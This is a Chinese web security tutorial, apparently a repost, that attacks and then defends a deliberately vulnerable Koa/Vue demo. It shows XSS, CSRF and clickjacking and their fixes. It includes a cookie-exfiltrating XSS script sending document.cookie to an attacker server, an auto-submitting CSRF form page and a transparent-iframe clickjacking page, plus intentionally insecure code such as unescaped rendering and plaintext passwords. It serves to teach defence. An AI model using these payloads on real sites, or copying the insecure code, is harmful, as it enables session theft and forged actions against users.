最新公告
  • 欢迎您光临起源地模板网,本站秉承服务宗旨 履行“站长”责任,销售只是起点 服务永无止境!立即加入钻石VIP
  • 《琢·磨》系列技术分享:16 常见Web安全攻防演练

    正文概述 掘金(于鹏_yuxiaoyu)   2021-01-17   634

    本篇文章是《琢·磨》系列技术分享第16讲,分享常见Web安全攻防演练,包括XSS、CSRF、点击劫持,会从攻击和如何防守两个方向分别进行分享; 本篇文章使用的是koa + MongoDB + Vue实现的demo逻辑。

    XSS

    1)XSS的定义

    XSS (Cross-Site Scripting),跨站脚本攻击,因为缩写和 CSS重叠,所以只能叫 XSS。 跨站脚本攻击是指通过存在安全漏洞的Web网站,让已注册用户在站点内运行非法的非本站点的HTML标签或JavaScript,进行的一种攻击。 简单的来说,就是在站内运行非本站的javascript脚本,所受到的攻击。

    2)XSS的分类

    常见的XSS攻击分类有两种:

    3)整体演示代码结构

    在看代码之前,我们先来看一下demo提供的功能:

    《琢·磨》系列技术分享:16 常见Web安全攻防演练

    下面我们看一下,本次分享所使用到的demo: 首先是常规程序的主入口,index.js

    const Koa = require('koa');
    
    // koa-router来处理路由
    const router = require('koa-router')();
    const session = require('koa-session');
    
    // 用来解析post请求的数据,会挂在ctx.request.body中
    const bodyParser = require('koa-bodyparser');
    
    // 用来做静态服务的处理 
    const static = require('koa-static');
    
    // 用来处理渲染前端模板,会在ctx中挂在render方法
    const views = require('koa-views');
    
    // 数据库连接文件
    require('./utils/mongoose');
    
    // 两个表的模型声明
    const UserModel = require('./models/user');
    const CommentModel = require('./models/Comment');
    
    const {
      checkPassword
    } = require('./utils/checkLogin');
    
    const app = new Koa();
    
    app.keys = ['some secret'];
    
    // 以下做了上面引入的中间件的初始化
    app.use(static(__dirname + '/'));
    app.use(bodyParser());
    app.use(session({
      key: 'koa.sess',
      maxAge: 86400000,
      httpOnly: false,
      signed: false,
    }, app));
    
    app.use(views(__dirname + '/views', {
      map: {
        html: 'handlebars',
      }
    }));
    
    
    // 登录接口
    router.post('/login', async (ctx) => {
      const {
        body: {
          username,
          password,
        }
      } = ctx.request;
    
      // 检验账号密码
      if (!(await checkPassword({
        username,
        password,
      }))) {
        ctx.body = {
          message: '账号或者密码不对'
        };
        return;
      }
    
      ctx.session.userinfo = {
        username,
        password
      };
      ctx.body = {
        message: '登录成功'
      };
    })
    
    // 注册接口
    router.post('/register', async (ctx, next) => {
      const {
        body: {
          username,
          password,
        }
      } = ctx.request;
    
      await UserModel.create({
        username,
        password
      });
      ctx.body = {
        message: '注册成功',
      };
    })
    
    // 渲染评论页面
    router.get('/comment', async (ctx) => {
      const commentList = await CommentModel.getCommentList();
      await ctx.render('comment', {
        address: ctx.request.query.address,
        commentList: JSON.parse(JSON.stringify(commentList)),
      });
    });
    
    // 评论接口
    router.post('/api/comment', async (ctx, next) => {
      const {
        body: {
          comment,
        }
      } = ctx.request;
    
      await CommentModel.createComment({
        username: ctx.session.userinfo.username,
        comment,
      });
      ctx.body = {
        message: '评论成功',
      };
    })
    
    // 渲染登录页面
    router.get('/', async (ctx) => {
      await ctx.render('index');
    });
    
    // 简单处理一下评论需要登录的逻辑
    app.use(async (ctx, next) => {
      if (ctx.url.indexOf('comment') > -1) {
        if (!ctx.session.userinfo) {
          ctx.redirect('/');
        } else {
          await next();
        }
      } else {
        await next();
      }
    });
    
    app.use(router.routes());
    app.use(router.allowedMethods());
    app.listen(3000);
    

    接下来看一下model里的逻辑,显示user.js

    // 这里使用了mongoose库做MongoDB的操作
    const mongoose = require('mongoose');
    // 这里定义了表的数据模型
    const schema = mongoose.Schema({
      username: String,
      password: String,
    });
    
    // 这里挂了两个方法,获取用户和设置用户
    schema.statics.getUser = function(username) {
      return this.model('user')
        .findOne({ username })
        .exec();
    };
    
    schema.statics.createUser = function({ username, password }) {
      return this.model('user')
        .create({
          username,
          password,
        });
    };
    
    // 这里对表与模型做了关联
    const model = mongoose.model('user', schema);
    
    module.exports = model;
    

    下面是comment.js,基本同上:

    const mongoose = require('mongoose');
    const schema = mongoose.Schema({
      username: String,
      comment: String,
    });
    
    schema.statics.getCommentList = function(username) {
      return this.model('comment')
        .find({})
        .exec();
    };
    
    schema.statics.createComment = function({ username, comment }) {
      return this.model('comment')
        .create({
          username,
          comment,
        });
    };
    
    const model = mongoose.model('comment', schema);
    
    module.exports = model;
    

    然后是utils里提供的工具函数, 主要是判断账号密码是否一致和连接数据库:

    // checkLogin.js
    const UserModel = require('../models/user');
    
    exports.checkPassword =  async function ({ username, password }) {
      const res = await UserModel.getUser(username);
      if (res && res.password === password) {
        return true;
      }
      return false
    }
    
    // mongoose.js
    const mongoose = require('mongoose');
    
    mongoose.connect('mongodb://127.0.0.1:27027/loginshare', {
      useNewUrlParser: true,
      useUnifiedTopology: true,
    }).catch(error => {
      console.log('数据库error', error)
    });;
    const conn = mongoose.connection;
    
    conn.on('error', () => console.log('数据库连接失败'));
    conn.once('open', () => console.log('数据库连接成功'));
    

    之后是views中提供的两个页面:

    <!-- index.html 登录注册页面 -->
    <!DOCTYPE html>
    <html lang="zh-cn">
    
    <head>
      <meta charset="UTF-8">
      <meta name="viewport" content="width=device-width, initial-scale=1.0">
      <title>Document</title>
      <script src="./views/axios.min.js"></script>
      <script src="./views/vue.js"></script>
    </head>
    
    <body>
      <div id="app">
        <div>
          <input v-model="username">
          <input v-model="password">
        </div>
        <div>
          <button v-on:click="login">登陆</button>
          <button v-on:click="register">注册</button>
        </div>
      </div>
      </div>
      <script>
        var app = new Vue({
          el: '#app',
          data: {
            username: '',
            password: ''
          },
          methods: {
            async login() {
              await axios.post('/login', {
                username: this.username,
                password: this.password
              })
              location.href = '/comment?address=北京'
            },
            async register() {
              await axios.post('/register', {
                username: this.username,
                password: this.password
              })
            }
          }
        });
      </script>
    </body>
    
    </html>
    
    <!-- 
      comment.html 评论页面
      {{{}}} 三个中括号为handlebars模板引擎的语法,会将render渲染页面的第二个参数中的数据注入到页面中
     -->
    <!DOCTYPE html>
    <html lang="en">
    
    <head>
      <meta charset="UTF-8">
      <meta name="viewport" content="width=device-width, initial-scale=1.0">
      <title>Document</title>
      <script src="./views/axios.min.js"></script>
      <script src="./views/vue.js"></script>
    </head>
    
    <body>
      <div id="app">
        <div>欢迎来自<span style="color: red">{{{address}}}</span>的用户,欢迎评论</div>
        <input type="text" v-model="value">
        <button v-on:click="comment">评论</button>
        <div>评论列表</div>
        <!-- handlebars中的循环语法 -->
        {{#each commentList}}
          <div>{{{comment}}}</div>
        {{/each}}
      </div>
      <script>
        var app = new Vue({
          el: '#app',
          data: {
            value: '默认值',
          },
          methods: {
            async comment() {
              await axios.post('/api/comment', {
                comment: this.value,
              });
              location.href = '/comment?address=北京';
            }
          }
        });
      </script>
    </body>
    </html>
    

    以上是常规应用程序的代码,接下来我们看一下攻击程序的代码,hack,先只看一下index.js中的逻辑,其他的等演示攻击的时候再展示:

    const Koa = require('koa');
    const static = require('koa-static');
    const chalk = require('chalk');
    
    // 将打印的log变为红色
    const log = contents => {
      console.log(chalk.red(contents));
    };
    
    const app = new Koa();
    
    app.use(static(__dirname + '/'));
    
    // 主要的逻辑就是这个中间件,这里打印了一下请求里携带的cookie
    app.use(async (ctx, next) => {
      log('cookie: ' + ctx.request.query.cookie);
      await next();
    });
    
    app.listen(4000);
    

    4)XSS反射型攻击

    看完上面的效果演示及代码,我们先来看一下XSS反射性攻击的做法。

    《琢·磨》系列技术分享:16 常见Web安全攻防演练

    我们可以看到,在url的address中我们输入一个字符串,那么这个地点就会渲染到页面中。那么这种地方就可能会有被攻击的风险。那如果我们输入的是javascript脚本,它会不会执行呢?

    《琢·磨》系列技术分享:16 常见Web安全攻防演练

    可以看到<script>标签中的alert成功执行了;那么如果我把hack中的攻击脚本注入到url中呢? 我们先来看一下hack中的script.js这个攻击脚本做了什么操作:

    // 这里的逻辑很简单,就是我们常用的发送埋点的一种方式,但是他携带了我们页面中的cookie
    const img = document.createElement('img');
    img.src = `http://localhost:4000?cookie=${document.cookie}`;
    

    我们再来看一下注入这个攻击脚本会发成什么:

    《琢·磨》系列技术分享:16 常见Web安全攻防演练

    我们会看到我们本站cookie,被hack网站拿到了,那这时候hack就可以拿着我们的cookie模拟我们的登录态进行登录:

    《琢·磨》系列技术分享:16 常见Web安全攻防演练

    反射性XSS攻击,需要用户点击相应的攻击链接才能进行攻击,效率上相对还是偏低,那么我们可以不可考虑将脚本注入到页面中,让所有访问该页面的用户都能运行我们的攻击脚本呢?那么就有了存储型,存储到数据库,用户读取时注入脚本。

    5)XSS存储型攻击

    接下来我们将脚本通过评论注入到数据库中:

    《琢·磨》系列技术分享:16 常见Web安全攻防演练

    我们可以看到在被注入数据库后,所有访问该页面的用户都会受到攻击。

    6)XSS的危害

    XSS就是运行javascript脚本,那么一切javascript能做的事情它都可以做,例如:

    7)XSS防范手段

    对输入内容进行转义

    1.使用模板引擎提供的转义语法,对用户所输入的内容进行转义,这里我们用handlebars提供的{{}}双括号替代括号

      // app/comment.html
      <div id="app">
        <div>欢迎来自<span style="color: red">{{address}}</span>的用户,欢迎评论</div>
        <input type="text" v-model="value">
        <button v-on:click="comment">评论</button>
        <div>评论列表</div>
        <!-- handlebars中的循环语法 -->
        {{#each commentList}}
          <div>{{comment}}</div>
        {{/each}}
      </div>
    

    可以看到script脚本被转成了字符串。

    《琢·磨》系列技术分享:16 常见Web安全攻防演练

    2.使用xss库对输入内容进行转义,这个的好处是,有一些白名单里的标签不会被转义,比如我们演示中的H1标签:

    
    // app/index.js
    const xss = require('xss');
    
    ...
    
    router.get('/comment', async (ctx) => {
      const commentList = await CommentModel.getCommentList();
      await ctx.render('comment', {
        address: ctx.request.query.address,
        // 这里我们用xss处理一下我们输出的内容
        commentList: JSON.parse(xss(JSON.stringify(commentList))),
      });
    });
    
    

    《琢·磨》系列技术分享:16 常见Web安全攻防演练

    可以看到script脚本被转义了,而H1标签没有。

    CSP( Content Security Policy) 建立白名单

    先来简单介绍一下CSP CSP是内容安全策略 (CSP, Content Security Policy) 是一个附加的安全层,本质上就是建立白名单,开发者明确告诉浏览器哪些外部资源可以加载和执行。我们只需要配置规则,如何拦截是由浏览器自己实现的。我们可以通过这种方式来尽量减少XSS攻击。

    那么接下来我们用CSP防御一下XSS攻击:

    // app/index.js
    // 这里我们新写一个中间件
    app.use(async (ctx, next) => {
      // 这里我们只允许加载3000端口下的script脚本
      ctx.set('Content-Security-Policy', "script-src http://localhost:3000");
      await next();
    });
    

    《琢·磨》系列技术分享:16 常见Web安全攻防演练

    我们可以看到前端页面这个时候4000的攻击脚本就没有加载进来,并在控制台有提示我们配置的csp规则。

    httpOnly cookies

    httpOnly,这是预防XSS攻击窃取用户cookie最有效的防御手段。Web应用程序在设置cookie时,将其 属性设为HttpOnly,就可以避免该网页的cookie被客户端恶意JavaScript窃取,保护用户cookie信息。

    // app/index.js
    app.use(session({
      key: 'koa.sess',
      maxAge: 86400000,
      // 这里我们设置httpOnly为true,只允许cookie在http请求中使用
      httpOnly: true,
      signed: false,
    }, app));
    

    《琢·磨》系列技术分享:16 常见Web安全攻防演练

    我们可以再次访问时,hack网站就拿不到我们的cookie信息了。

    以上就是XSS攻击的攻击和防御手段了,接下来我们看一下CSRF的攻防手段。

    CSRF

    1)CSRF的定义

    CSRF (cross site request forgery) 跨站请求伪造,它利用用户已登录的身份,在用户不知情的情况下,以用户的名义完,成非法操作。

    2)CSRF演示

    我们先来看一下hack中的csrf攻击页面逻辑:

    <!DOCTYPE html>
    <html lang="en">
    <head>
      <meta charset="UTF-8">
      <meta name="viewport" content="width=device-width, initial-scale=1.0">
      <title>Document</title>
    </head>
    <body>
      <h1>看小猫咪的网站,实际是CSRF攻击</h1>
      <img src="https://ss1.bdstatic.com/70cFuXSh_Q1YnxGkpoWK1HF6hhy/it/u=3187284430,577053445&fm=11&gp=0.jpg" >
      <script>
        // 我们插入了一个form表单,在4000的hack网站请求了3000的接口,并且做了数据提交
        document.write(`
        <form name="form" action="http://localhost:3000/api/comment" method="post" target="csrf" style="display: none">
          添加评论: <input type="text" name="comment" value="CSRF攻击" />
        </form>
        `)
        var iframe = document.createElement('iframe');
        iframe.name = 'csrf';
        iframe.style.display = 'none';
        document.body.appendChild(iframe);
        setTimeout(function() {
          document.querySelector('form').submit();
        },1000);
      </script>
    </body>
    </html>
    

    下面我们看一下演示

    《琢·磨》系列技术分享:16 常见Web安全攻防演练

    我们在演示中可以看到,我们在hack的网站中进行了访问,虽然我们没有去访问3000的站点,但仍然被hack网站冒用了信息,被盗用进行了评论,这就是csrf的攻击手段。它利用用户已登录的身份,在用户不知情的情况下,以用户的名义完,成非法操作。

    3)CSRF的特点

    4)CSRF的防范手段

    验证referer

    我们在app/index.js加一个中间件

    app.use(async (ctx, next) => {
      // 这里我们将referer进行输出
      console.log('referer: ', ctx.request.header.referer);
      await next();
    });
    

    《琢·磨》系列技术分享:16 常见Web安全攻防演练

    可以看到我们能拿到当前的访问站点是哪个,然后就可以设置白名单进行过滤。

    携带token

    这里的token就是一段随机的字符串,在用户访问时我们在页面中随机返回一段字符串,在用户请求的时候,需要携带csrf_token进行验证。那么hack网站在模拟攻击时,是无法获取我们页面中注入的csrf_token的,所以请求会验证失败。

    // 我们引用koa-csrf库,它会在ctx下挂载csrf字段
    const CSRF = require('koa-csrf');
    
    ...
    
    app.use(new CSRF({
      invalidTokenMessage: 'Invalid CSRF token',
      invalidTokenStatusCode: 403,
      excludedMethods: [ 'GET', 'HEAD', 'OPTIONS' ],
      disableQuery: false
    }));
    
    ...
    
    router.get('/comment', async (ctx) => {
      const commentList = await CommentModel.getCommentList();
      await ctx.render('comment', {
        address: ctx.request.query.address,
        commentList: JSON.parse(JSON.stringify(commentList)),
        csrfToken: ctx.csrf,
      });
    });
    

    我们将生成的csrf_token挂到页面中:

    // views/comment.html
    async comment() {
      await axios.post('/api/comment', {
        comment: this.value,
        _csrf: '{{csrfToken}}',
      });
      location.href = '/comment?address=北京';
    }
    

    《琢·磨》系列技术分享:16 常见Web安全攻防演练

    可以看到hack网站在发送请求的时候,验证未通过。

    使用验证码

    csrf就是在用户不知情的情况下,冒用身份做非法操作。那么我们最直接的杜绝方法,就是产生人机交互,让用户知道当前我要做什么操作,要干什么,从而防范csrf的攻击。那么常见的人机交互方式就是验证码的形式了。

    以上就是csrf的攻击防御手段,接下来我们分享一下点击劫持。

    点击劫持

    1)点击劫持的定义

    点击劫持是一种视觉欺骗的攻击手段。攻击者将需要攻击的网站通过iframe 嵌套的方式嵌入自己的网页中,并将 iframe 设置为透明,在页面中透出一个按钮诱导用户点击,触发了不是用户真正意愿的事件。

    2)点击劫持演示

    我们还是先来看一下hack的点击劫持攻击代码:

    // hack/click.html
    
    <!DOCTYPE html>
    <html lang="en">
    
    <head>
      <meta charset="UTF-8">
      <meta name="viewport" content="width=device-width, initial-scale=1.0">
      <title>Document</title>
      <style>
        iframe {
          width: 800px;
          height: 300px;
          position: absolute;
          top: -0px;
          left: -0px;
          z-index: 2;
          -moz-opacity: 0;
          opacity: 0;
          filter: alpha(opacity=0);
        }
    
        button {
          position: absolute;
          top: 32px;
          left: 164px;
          z-index: 1;
        }
    
        img {
          height: 300px;
        }
      </style>
    </head>
    
    <body>
      <button>查看更多</button>
      <img
        src="https://ss1.bdstatic.com/70cFuXSh_Q1YnxGkpoWK1HF6hhy/it/u=3187284430,577053445&fm=11&gp=0.jpg">
      <iframe src="http://localhost:3000/comment" scrolling="no"></iframe>
    </body>
    
    </html>
    

    这个攻击代码也很简单,我们就是讲iframe嵌套的网站设置成透明,放在最上层,然后用一个按钮覆盖页面中的操作,在用户点击查看更多图片的时候,实际上是进行了评论操作;

    《琢·磨》系列技术分享:16 常见Web安全攻防演练

    3)点击劫持的防范

    X-FRAME-OPTIONS

    X-FRAME-OPTIONS是一个HTTP响应头。这个HTTP响应头就是为了防御用iframe嵌套的点击劫持攻击。 我们来看一下代码:

    router.get('/comment', async (ctx) => {
      const commentList = await CommentModel.getCommentList();
      
      //这里我们设置了请求头,不允许任何页面将该页面进行iframe嵌套
      ctx.set('X-FRAME-OPTIONS', 'DENY');
      await ctx.render('comment', {
        address: ctx.request.query.address,
        commentList: JSON.parse(JSON.stringify(commentList)),
      });
    });
    

    《琢·磨》系列技术分享:16 常见Web安全攻防演练

    可以看到,这个时候页面就没有被iframe加载进来了。

    以上就是本期的全部分享了,希望可以对大家有所帮助!


    起源地下载网 » 《琢·磨》系列技术分享:16 常见Web安全攻防演练

    常见问题FAQ

    免费下载或者VIP会员专享资源能否直接商用?
    本站所有资源版权均属于原作者所有,这里所提供资源均只能用于参考学习用,请勿直接商用。若由于商用引起版权纠纷,一切责任均由使用者承担。更多说明请参考 VIP介绍。
    提示下载完但解压或打开不了?
    最常见的情况是下载不完整: 可对比下载完压缩包的与网盘上的容量,若小于网盘提示的容量则是这个原因。这是浏览器下载的bug,建议用百度网盘软件或迅雷下载。若排除这种情况,可在对应资源底部留言,或 联络我们.。
    找不到素材资源介绍文章里的示例图片?
    对于PPT,KEY,Mockups,APP,网页模版等类型的素材,文章内用于介绍的图片通常并不包含在对应可供下载素材包内。这些相关商业图片需另外购买,且本站不负责(也没有办法)找到出处。 同样地一些字体文件也是这种情况,但部分素材会在素材包内有一份字体下载链接清单。
    模板不会安装或需要功能定制以及二次开发?
    请QQ联系我们

    发表评论

    还没有评论,快来抢沙发吧!

    如需帝国cms功能定制以及二次开发请联系我们

    联系作者

    请选择支付方式

    ×
    迅虎支付宝
    迅虎微信
    支付宝当面付
    余额支付
    ×
    微信扫码支付 0 元